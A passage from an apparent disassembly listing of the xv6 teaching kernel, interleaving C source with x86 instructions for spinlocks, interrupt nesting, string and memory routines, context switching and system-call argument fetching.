ret 8010408b: 90 nop 8010408c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104090 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104090: 55 push %ebp 80104091: 89 e5 mov %esp,%ebp uint *ebp; int i; ebp = (uint*)v - 2; 80104093: 8b 45 08 mov 0x8(%ebp),%eax { 80104096: 8b 4d 0c mov 0xc(%ebp),%ecx 80104099: 53 push %ebx ebp = (uint*)v - 2; 8010409a: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 8010409d: 31 c0 xor %eax,%eax 8010409f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 801040a0: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 801040a6: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 801040ac: 77 1a ja 801040c8 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 801040ae: 8b 5a 04 mov 0x4(%edx),%ebx 801040b1: 89 1c 81 mov %ebx,(%ecx,%eax,4) for(i = 0; i < 10; i++){ 801040b4: 83 c0 01 add $0x1,%eax ebp = (uint*)ebp[0]; // saved %ebp 801040b7: 8b 12 mov (%edx),%edx for(i = 0; i < 10; i++){ 801040b9: 83 f8 0a cmp $0xa,%eax 801040bc: 75 e2 jne 801040a0 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 801040be: 5b pop %ebx 801040bf: 5d pop %ebp 801040c0: c3 ret 801040c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi pcs[i] = 0; 801040c8: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 801040cf: 83 c0 01 add $0x1,%eax 801040d2: 83 f8 0a cmp $0xa,%eax 801040d5: 74 e7 je 801040be <getcallerpcs+0x2e> pcs[i] = 0; 801040d7: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 801040de: 83 c0 01 add $0x1,%eax 801040e1: 83 f8 0a cmp $0xa,%eax 801040e4: 75 e2 jne 801040c8 <getcallerpcs+0x38> 801040e6: eb d6 jmp 801040be <getcallerpcs+0x2e> 801040e8: 90 nop 801040e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040f0 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 801040f0: 55 push %ebp 801040f1: 89 e5 mov %esp,%ebp 801040f3: 53 push %ebx 801040f4: 83 ec 04 sub $0x4,%esp 801040f7: 9c pushf 801040f8: 5b pop %ebx asm volatile("cli"); 801040f9: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 801040fa: e8 01 f5 ff ff call 80103600 <mycpu> 801040ff: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104105: 85 c0 test %eax,%eax 80104107: 75 11 jne 8010411a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104109: e8 f2 f4 ff ff call 80103600 <mycpu> 8010410e: 81 e3 00 02 00 00 and $0x200,%ebx 80104114: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010411a: e8 e1 f4 ff ff call 80103600 <mycpu> 8010411f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104126: 83 c4 04 add $0x4,%esp 80104129: 5b pop %ebx 8010412a: 5d pop %ebp 8010412b: c3 ret 8010412c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104130 <popcli>: void popcli(void) { 80104130: 55 push %ebp 80104131: 89 e5 mov %esp,%ebp 80104133: 83 ec 18 sub $0x18,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104136: 9c pushf 80104137: 58 pop %eax if(readeflags()&FL_IF) 80104138: f6 c4 02 test $0x2,%ah 8010413b: 75 49 jne 80104186 <popcli+0x56> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 8010413d: e8 be f4 ff ff call 80103600 <mycpu> 80104142: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 80104148: 8d 51 ff lea -0x1(%ecx),%edx 8010414b: 85 d2 test %edx,%edx 8010414d: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 80104153: 78 25 js 8010417a <popcli+0x4a> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 80104155: e8 a6 f4 ff ff call 80103600 <mycpu> 8010415a: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 80104160: 85 d2 test %edx,%edx 80104162: 74 04 je 80104168 <popcli+0x38> sti(); } 80104164: c9 leave 80104165: c3 ret 80104166: 66 90 xchg %ax,%ax if(mycpu()->ncli == 0 && mycpu()->intena) 80104168: e8 93 f4 ff ff call 80103600 <mycpu> 8010416d: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 80104173: 85 c0 test %eax,%eax 80104175: 74 ed je 80104164 <popcli+0x34> asm volatile("sti"); 80104177: fb sti } 80104178: c9 leave 80104179: c3 ret panic("popcli"); 8010417a: c7 04 24 7a 72 10 80 movl $0x8010727a,(%esp) 80104181: e8 da c1 ff ff call 80100360 <panic> panic("popcli - interruptible"); 80104186: c7 04 24 63 72 10 80 movl $0x80107263,(%esp) 8010418d: e8 ce c1 ff ff call 80100360 <panic> 80104192: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041a0 <holding>: { 801041a0: 55 push %ebp 801041a1: 89 e5 mov %esp,%ebp 801041a3: 56 push %esi r = lock->locked && lock->cpu == mycpu(); 801041a4: 31 f6 xor %esi,%esi { 801041a6: 53 push %ebx 801041a7: 8b 5d 08 mov 0x8(%ebp),%ebx pushcli(); 801041aa: e8 41 ff ff ff call 801040f0 <pushcli> r = lock->locked && lock->cpu == mycpu(); 801041af: 8b 03 mov (%ebx),%eax 801041b1: 85 c0 test %eax,%eax 801041b3: 74 12 je 801041c7 <holding+0x27> 801041b5: 8b 5b 08 mov 0x8(%ebx),%ebx 801041b8: e8 43 f4 ff ff call 80103600 <mycpu> 801041bd: 39 c3 cmp %eax,%ebx 801041bf: 0f 94 c0 sete %al 801041c2: 0f b6 c0 movzbl %al,%eax 801041c5: 89 c6 mov %eax,%esi popcli(); 801041c7: e8 64 ff ff ff call 80104130 <popcli> } 801041cc: 89 f0 mov %esi,%eax 801041ce: 5b pop %ebx 801041cf: 5e pop %esi 801041d0: 5d pop %ebp 801041d1: c3 ret 801041d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801041d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041e0 <acquire>: { 801041e0: 55 push %ebp 801041e1: 89 e5 mov %esp,%ebp 801041e3: 53 push %ebx 801041e4: 83 ec 14 sub $0x14,%esp pushcli(); // disable interrupts to avoid deadlock. 801041e7: e8 04 ff ff ff call 801040f0 <pushcli> if(holding(lk)) 801041ec: 8b 45 08 mov 0x8(%ebp),%eax 801041ef: 89 04 24 mov %eax,(%esp) 801041f2: e8 a9 ff ff ff call 801041a0 <holding> 801041f7: 85 c0 test %eax,%eax 801041f9: 75 3a jne 80104235 <acquire+0x55> asm volatile("lock; xchgl %0, %1" : 801041fb: b9 01 00 00 00 mov $0x1,%ecx while(xchg(&lk->locked, 1) != 0) 80104200: 8b 55 08 mov 0x8(%ebp),%edx 80104203: 89 c8 mov %ecx,%eax 80104205: f0 87 02 lock xchg %eax,(%edx) 80104208: 85 c0 test %eax,%eax 8010420a: 75 f4 jne 80104200 <acquire+0x20> __sync_synchronize(); 8010420c: 0f ae f0 mfence lk->cpu = mycpu(); 8010420f: 8b 5d 08 mov 0x8(%ebp),%ebx 80104212: e8 e9 f3 ff ff call 80103600 <mycpu> 80104217: 89 43 08 mov %eax,0x8(%ebx) getcallerpcs(&lk, lk->pcs); 8010421a: 8b 45 08 mov 0x8(%ebp),%eax 8010421d: 83 c0 0c add $0xc,%eax 80104220: 89 44 24 04 mov %eax,0x4(%esp) 80104224: 8d 45 08 lea 0x8(%ebp),%eax 80104227: 89 04 24 mov %eax,(%esp) 8010422a: e8 61 fe ff ff call 80104090 <getcallerpcs> } 8010422f: 83 c4 14 add $0x14,%esp 80104232: 5b pop %ebx 80104233: 5d pop %ebp 80104234: c3 ret panic("acquire"); 80104235: c7 04 24 81 72 10 80 movl $0x80107281,(%esp) 8010423c: e8 1f c1 ff ff call 80100360 <panic> 80104241: eb 0d jmp 80104250 <release> 80104243: 90 nop 80104244: 90 nop 80104245: 90 nop 80104246: 90 nop 80104247: 90 nop 80104248: 90 nop 80104249: 90 nop 8010424a: 90 nop 8010424b: 90 nop 8010424c: 90 nop 8010424d: 90 nop 8010424e: 90 nop 8010424f: 90 nop 80104250 <release>: { 80104250: 55 push %ebp 80104251: 89 e5 mov %esp,%ebp 80104253: 53 push %ebx 80104254: 83 ec 14 sub $0x14,%esp 80104257: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 8010425a: 89 1c 24 mov %ebx,(%esp) 8010425d: e8 3e ff ff ff call 801041a0 <holding> 80104262: 85 c0 test %eax,%eax 80104264: 74 21 je 80104287 <release+0x37> lk->pcs[0] = 0; 80104266: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 8010426d: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 80104274: 0f ae f0 mfence asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 80104277: c7 03 00 00 00 00 movl $0x0,(%ebx) } 8010427d: 83 c4 14 add $0x14,%esp 80104280: 5b pop %ebx 80104281: 5d pop %ebp popcli(); 80104282: e9 a9 fe ff ff jmp 80104130 <popcli> panic("release"); 80104287: c7 04 24 89 72 10 80 movl $0x80107289,(%esp) 8010428e: e8 cd c0 ff ff call 80100360 <panic> 80104293: 66 90 xchg %ax,%ax 80104295: 66 90 xchg %ax,%ax 80104297: 66 90 xchg %ax,%ax 80104299: 66 90 xchg %ax,%ax 8010429b: 66 90 xchg %ax,%ax 8010429d: 66 90 xchg %ax,%ax 8010429f: 90 nop 801042a0 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 801042a0: 55 push %ebp 801042a1: 89 e5 mov %esp,%ebp 801042a3: 8b 55 08 mov 0x8(%ebp),%edx 801042a6: 57 push %edi 801042a7: 8b 4d 10 mov 0x10(%ebp),%ecx 801042aa: 53 push %ebx if ((int)dst%4 == 0 && n%4 == 0){ 801042ab: f6 c2 03 test $0x3,%dl 801042ae: 75 05 jne 801042b5 <memset+0x15> 801042b0: f6 c1 03 test $0x3,%cl 801042b3: 74 13 je 801042c8 <memset+0x28> asm volatile("cld; rep stosb" : 801042b5: 89 d7 mov %edx,%edi 801042b7: 8b 45 0c mov 0xc(%ebp),%eax 801042ba: fc cld 801042bb: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 801042bd: 5b pop %ebx 801042be: 89 d0 mov %edx,%eax 801042c0: 5f pop %edi 801042c1: 5d pop %ebp 801042c2: c3 ret 801042c3: 90 nop 801042c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 801042c8: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 801042cc: c1 e9 02 shr $0x2,%ecx 801042cf: 89 f8 mov %edi,%eax 801042d1: 89 fb mov %edi,%ebx 801042d3: c1 e0 18 shl $0x18,%eax 801042d6: c1 e3 10 shl $0x10,%ebx 801042d9: 09 d8 or %ebx,%eax 801042db: 09 f8 or %edi,%eax 801042dd: c1 e7 08 shl $0x8,%edi 801042e0: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 801042e2: 89 d7 mov %edx,%edi 801042e4: fc cld 801042e5: f3 ab rep stos %eax,%es:(%edi) } 801042e7: 5b pop %ebx 801042e8: 89 d0 mov %edx,%eax 801042ea: 5f pop %edi 801042eb: 5d pop %ebp 801042ec: c3 ret 801042ed: 8d 76 00 lea 0x0(%esi),%esi 801042f0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 801042f0: 55 push %ebp 801042f1: 89 e5 mov %esp,%ebp 801042f3: 8b 45 10 mov 0x10(%ebp),%eax 801042f6: 57 push %edi 801042f7: 56 push %esi 801042f8: 8b 75 0c mov 0xc(%ebp),%esi 801042fb: 53 push %ebx 801042fc: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801042ff: 85 c0 test %eax,%eax 80104301: 8d 78 ff lea -0x1(%eax),%edi 80104304: 74 26 je 8010432c <memcmp+0x3c> if(*s1 != *s2) 80104306: 0f b6 03 movzbl (%ebx),%eax 80104309: 31 d2 xor %edx,%edx 8010430b: 0f b6 0e movzbl (%esi),%ecx 8010430e: 38 c8 cmp %cl,%al 80104310: 74 16 je 80104328 <memcmp+0x38> 80104312: eb 24 jmp 80104338 <memcmp+0x48> 80104314: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104318: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax 8010431d: 83 c2 01 add $0x1,%edx 80104320: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104324: 38 c8 cmp %cl,%al 80104326: 75 10 jne 80104338 <memcmp+0x48> while(n-- > 0){ 80104328: 39 fa cmp %edi,%edx 8010432a: 75 ec jne 80104318 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 8010432c: 5b pop %ebx return 0; 8010432d: 31 c0 xor %eax,%eax } 8010432f: 5e pop %esi 80104330: 5f pop %edi 80104331: 5d pop %ebp 80104332: c3 ret 80104333: 90 nop 80104334: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104338: 5b pop %ebx return *s1 - *s2; 80104339: 29 c8 sub %ecx,%eax } 8010433b: 5e pop %esi 8010433c: 5f pop %edi 8010433d: 5d pop %ebp 8010433e: c3 ret 8010433f: 90 nop 80104340 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104340: 55 push %ebp 80104341: 89 e5 mov %esp,%ebp 80104343: 57 push %edi 80104344: 8b 45 08 mov 0x8(%ebp),%eax 80104347: 56 push %esi 80104348: 8b 75 0c mov 0xc(%ebp),%esi 8010434b: 53 push %ebx 8010434c: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010434f: 39 c6 cmp %eax,%esi 80104351: 73 35 jae 80104388 <memmove+0x48> 80104353: 8d 0c 1e lea (%esi,%ebx,1),%ecx 80104356: 39 c8 cmp %ecx,%eax 80104358: 73 2e jae 80104388 <memmove+0x48> s += n; d += n; while(n-- > 0) 8010435a: 85 db test %ebx,%ebx d += n; 8010435c: 8d 3c 18 lea (%eax,%ebx,1),%edi while(n-- > 0) 8010435f: 8d 53 ff lea -0x1(%ebx),%edx 80104362: 74 1b je 8010437f <memmove+0x3f> 80104364: f7 db neg %ebx 80104366: 8d 34 19 lea (%ecx,%ebx,1),%esi 80104369: 01 fb add %edi,%ebx 8010436b: 90 nop 8010436c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *--d = *--s; 80104370: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104374: 88 0c 13 mov %cl,(%ebx,%edx,1) while(n-- > 0) 80104377: 83 ea 01 sub $0x1,%edx 8010437a: 83 fa ff cmp $0xffffffff,%edx 8010437d: 75 f1 jne 80104370 <memmove+0x30> } else while(n-- > 0) *d++ = *s++; return dst; } 8010437f: 5b pop %ebx 80104380: 5e pop %esi 80104381: 5f pop %edi 80104382: 5d pop %ebp 80104383: c3 ret 80104384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104388: 31 d2 xor %edx,%edx 8010438a: 85 db test %ebx,%ebx 8010438c: 74 f1 je 8010437f <memmove+0x3f> 8010438e: 66 90 xchg %ax,%ax *d++ = *s++; 80104390: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104394: 88 0c 10 mov %cl,(%eax,%edx,1) 80104397: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010439a: 39 da cmp %ebx,%edx 8010439c: 75 f2 jne 80104390 <memmove+0x50> } 8010439e: 5b pop %ebx 8010439f: 5e pop %esi 801043a0: 5f pop %edi 801043a1: 5d pop %ebp 801043a2: c3 ret 801043a3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801043a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801043b0 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 801043b0: 55 push %ebp 801043b1: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 801043b3: 5d pop %ebp return memmove(dst, src, n); 801043b4: eb 8a jmp 80104340 <memmove> 801043b6: 8d 76 00 lea 0x0(%esi),%esi 801043b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801043c0 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 801043c0: 55 push %ebp 801043c1: 89 e5 mov %esp,%ebp 801043c3: 56 push %esi 801043c4: 8b 75 10 mov 0x10(%ebp),%esi 801043c7: 53 push %ebx 801043c8: 8b 4d 08 mov 0x8(%ebp),%ecx 801043cb: 8b 5d 0c mov 0xc(%ebp),%ebx while(n > 0 && *p && *p == *q) 801043ce: 85 f6 test %esi,%esi 801043d0: 74 30 je 80104402 <strncmp+0x42> 801043d2: 0f b6 01 movzbl (%ecx),%eax 801043d5: 84 c0 test %al,%al 801043d7: 74 2f je 80104408 <strncmp+0x48> 801043d9: 0f b6 13 movzbl (%ebx),%edx 801043dc: 38 d0 cmp %dl,%al 801043de: 75 46 jne 80104426 <strncmp+0x66> 801043e0: 8d 51 01 lea 0x1(%ecx),%edx 801043e3: 01 ce add %ecx,%esi 801043e5: eb 14 jmp 801043fb <strncmp+0x3b> 801043e7: 90 nop 801043e8: 0f b6 02 movzbl (%edx),%eax 801043eb: 84 c0 test %al,%al 801043ed: 74 31 je 80104420 <strncmp+0x60> 801043ef: 0f b6 19 movzbl (%ecx),%ebx 801043f2: 83 c2 01 add $0x1,%edx 801043f5: 38 d8 cmp %bl,%al 801043f7: 75 17 jne 80104410 <strncmp+0x50> n--, p++, q++; 801043f9: 89 cb mov %ecx,%ebx while(n > 0 && *p && *p == *q) 801043fb: 39 f2 cmp %esi,%edx n--, p++, q++; 801043fd: 8d 4b 01 lea 0x1(%ebx),%ecx while(n > 0 && *p && *p == *q) 80104400: 75 e6 jne 801043e8 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 80104402: 5b pop %ebx return 0; 80104403: 31 c0 xor %eax,%eax } 80104405: 5e pop %esi 80104406: 5d pop %ebp 80104407: c3 ret 80104408: 0f b6 1b movzbl (%ebx),%ebx while(n > 0 && *p && *p == *q) 8010440b: 31 c0 xor %eax,%eax 8010440d: 8d 76 00 lea 0x0(%esi),%esi return (uchar)*p - (uchar)*q; 80104410: 0f b6 d3 movzbl %bl,%edx 80104413: 29 d0 sub %edx,%eax } 80104415: 5b pop %ebx 80104416: 5e pop %esi 80104417: 5d pop %ebp 80104418: c3 ret 80104419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104420: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx 80104424: eb ea jmp 80104410 <strncmp+0x50> while(n > 0 && *p && *p == *q) 80104426: 89 d3 mov %edx,%ebx 80104428: eb e6 jmp 80104410 <strncmp+0x50> 8010442a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104430 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80104430: 55 push %ebp 80104431: 89 e5 mov %esp,%ebp 80104433: 8b 45 08 mov 0x8(%ebp),%eax 80104436: 56 push %esi 80104437: 8b 4d 10 mov 0x10(%ebp),%ecx 8010443a: 53 push %ebx 8010443b: 8b 5d 0c mov 0xc(%ebp),%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 8010443e: 89 c2 mov %eax,%edx 80104440: eb 19 jmp 8010445b <strncpy+0x2b> 80104442: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104448: 83 c3 01 add $0x1,%ebx 8010444b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 8010444f: 83 c2 01 add $0x1,%edx 80104452: 84 c9 test %cl,%cl 80104454: 88 4a ff mov %cl,-0x1(%edx) 80104457: 74 09 je 80104462 <strncpy+0x32> 80104459: 89 f1 mov %esi,%ecx 8010445b: 85 c9 test %ecx,%ecx 8010445d: 8d 71 ff lea -0x1(%ecx),%esi 80104460: 7f e6 jg 80104448 <strncpy+0x18> ; while(n-- > 0) 80104462: 31 c9 xor %ecx,%ecx 80104464: 85 f6 test %esi,%esi 80104466: 7e 0f jle 80104477 <strncpy+0x47> *s++ = 0; 80104468: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 8010446c: 89 f3 mov %esi,%ebx 8010446e: 83 c1 01 add $0x1,%ecx 80104471: 29 cb sub %ecx,%ebx while(n-- > 0) 80104473: 85 db test %ebx,%ebx 80104475: 7f f1 jg 80104468 <strncpy+0x38> return os; } 80104477: 5b pop %ebx 80104478: 5e pop %esi 80104479: 5d pop %ebp 8010447a: c3 ret 8010447b: 90 nop 8010447c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104480 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104480: 55 push %ebp 80104481: 89 e5 mov %esp,%ebp 80104483: 8b 4d 10 mov 0x10(%ebp),%ecx 80104486: 56 push %esi 80104487: 8b 45 08 mov 0x8(%ebp),%eax 8010448a: 53 push %ebx 8010448b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010448e: 85 c9 test %ecx,%ecx 80104490: 7e 26 jle 801044b8 <safestrcpy+0x38> 80104492: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104496: 89 c1 mov %eax,%ecx 80104498: eb 17 jmp 801044b1 <safestrcpy+0x31> 8010449a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 801044a0: 83 c2 01 add $0x1,%edx 801044a3: 0f b6 5a ff movzbl -0x1(%edx),%ebx 801044a7: 83 c1 01 add $0x1,%ecx 801044aa: 84 db test %bl,%bl 801044ac: 88 59 ff mov %bl,-0x1(%ecx) 801044af: 74 04 je 801044b5 <safestrcpy+0x35> 801044b1: 39 f2 cmp %esi,%edx 801044b3: 75 eb jne 801044a0 <safestrcpy+0x20> ; *s = 0; 801044b5: c6 01 00 movb $0x0,(%ecx) return os; } 801044b8: 5b pop %ebx 801044b9: 5e pop %esi 801044ba: 5d pop %ebp 801044bb: c3 ret 801044bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801044c0 <strlen>: int strlen(const char *s) { 801044c0: 55 push %ebp int n; for(n = 0; s[n]; n++) 801044c1: 31 c0 xor %eax,%eax { 801044c3: 89 e5 mov %esp,%ebp 801044c5: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 801044c8: 80 3a 00 cmpb $0x0,(%edx) 801044cb: 74 0c je 801044d9 <strlen+0x19> 801044cd: 8d 76 00 lea 0x0(%esi),%esi 801044d0: 83 c0 01 add $0x1,%eax 801044d3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 801044d7: 75 f7 jne 801044d0 <strlen+0x10> ; return n; } 801044d9: 5d pop %ebp 801044da: c3 ret 801044db <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 801044db: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 801044df: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 801044e3: 55 push %ebp pushl %ebx 801044e4: 53 push %ebx pushl %esi 801044e5: 56 push %esi pushl %edi 801044e6: 57 push %edi # Switch stacks movl %esp, (%eax) 801044e7: 89 20 mov %esp,(%eax) movl %edx, %esp 801044e9: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 801044eb: 5f pop %edi popl %esi 801044ec: 5e pop %esi popl %ebx 801044ed: 5b pop %ebx popl %ebp 801044ee: 5d pop %ebp ret 801044ef: c3 ret 801044f0 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801044f0: 55 push %ebp 801044f1: 89 e5 mov %esp,%ebp 801044f3: 53 push %ebx 801044f4: 83 ec 04 sub $0x4,%esp 801044f7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 801044fa: e8 a1 f1 ff ff call 801036a0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 801044ff: 8b 00 mov (%eax),%eax 80104501: 39 d8 cmp %ebx,%eax 80104503: 76 1b jbe 80104520 <fetchint+0x30> 80104505: 8d 53 04 lea 0x4(%ebx),%edx 80104508: 39 d0 cmp %edx,%eax 8010450a: 72 14 jb 80104520 <fetchint+0x30> return -1; *ip = *(int*)(addr); 8010450c: 8b 45 0c mov 0xc(%ebp),%eax 8010450f: 8b 13 mov (%ebx),%edx 80104511: 89 10 mov %edx,(%eax) return 0; 80104513: 31 c0 xor %eax,%eax } 80104515: 83 c4 04 add $0x4,%esp 80104518: 5b pop %ebx 80104519: 5d pop %ebp 8010451a: c3 ret 8010451b: 90 nop 8010451c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104520: b8 ff ff ff ff mov $0xffffffff,%eax 80104525: eb ee jmp 80104515 <fetchint+0x25> 80104527: 89 f6 mov %esi,%esi 80104529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104530 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 80104530: 55 push %ebp 80104531: 89 e5 mov %esp,%ebp 80104533: 53 push %ebx 80104534: 83 ec 04 sub $0x4,%esp 80104537: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 8010453a: e8 61 f1 ff ff call 801036a0 <myproc> if(addr >= curproc->sz) 8010453f: 39 18 cmp %ebx,(%eax) 80104541: 76 26 jbe 80104569 <fetchstr+0x39> return -1; *pp = (char*)addr; 80104543: 8b 4d 0c mov 0xc(%ebp),%ecx 80104546: 89 da mov %ebx,%edx 80104548: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 8010454a: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 8010454c: 39 c3 cmp %eax,%ebx 8010454e: 73 19 jae 80104569 <fetchstr+0x39> if(*s == 0) 80104550: 80 3b 00 cmpb $0x0,(%ebx) 80104553: 75 0d jne 80104562 <fetchstr+0x32> 80104555: eb 21 jmp 80104578 <fetchstr+0x48> 80104557: 90 nop 80104558: 80 3a 00 cmpb $0x0,(%edx) 8010455b: 90 nop 8010455c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104560: 74 16 je 80104578 <fetchstr+0x48> for(s = *pp; s < ep; s++){ 80104562: 83 c2 01 add $0x1,%edx 80104565: 39 d0 cmp %edx,%eax 80104567: 77 ef ja 80104558 <fetchstr+0x28> return s - *pp; } return -1; } 80104569: 83 c4 04 add $0x4,%esp return -1; 8010456c: b8 ff ff ff ff mov $0xffffffff,%eax } 80104571: 5b pop %ebx 80104572: 5d pop %ebp 80104573: c3 ret 80104574: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104578: 83 c4 04 add $0x4,%esp return s - *pp; 8010457b: 89 d0 mov %edx,%eax 8010457d: 29 d8 sub %ebx,%eax } 8010457f: 5b pop %ebx 80104580: 5d pop %ebp 80104581: c3 ret 80104582: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104590 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104590: 55 push %ebp 80104591: 89 e5 mov %esp,%ebp 80104593: 56 push %esi 80104594: 8b 75 0c mov 0xc(%ebp),%esi 80104597: 53 push %ebx 80104598: 8b 5d 08 mov 0x8(%ebp),%ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 8010459b: e8 00 f1 ff ff call 801036a0 <myproc> 801045a0: 89 75 0c mov %esi,0xc(%ebp) 801045a3: 8b 40 18 mov 0x18(%eax),%eax 801045a6: 8b 40 44 mov 0x44(%eax),%eax 801045a9: 8d 44 98 04 lea 0x4(%eax,%ebx,4),%eax 801045ad: 89 45 08 mov %eax,0x8(%ebp) } 801045b0: 5b pop %ebx 801045b1: 5e pop %esi 801045b2: 5d pop %ebp return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 801045b3: e9 38 ff ff ff jmp 801044f0 <fetchint> 801045b8: 90 nop 801045b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045c0 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 801045c0: 55 push %ebp 801045c1: 89 e5 mov %esp,%ebp 801045c3: 56 push %esi 801045c4: 53 push %ebx 801045c5: 83 ec 20 sub 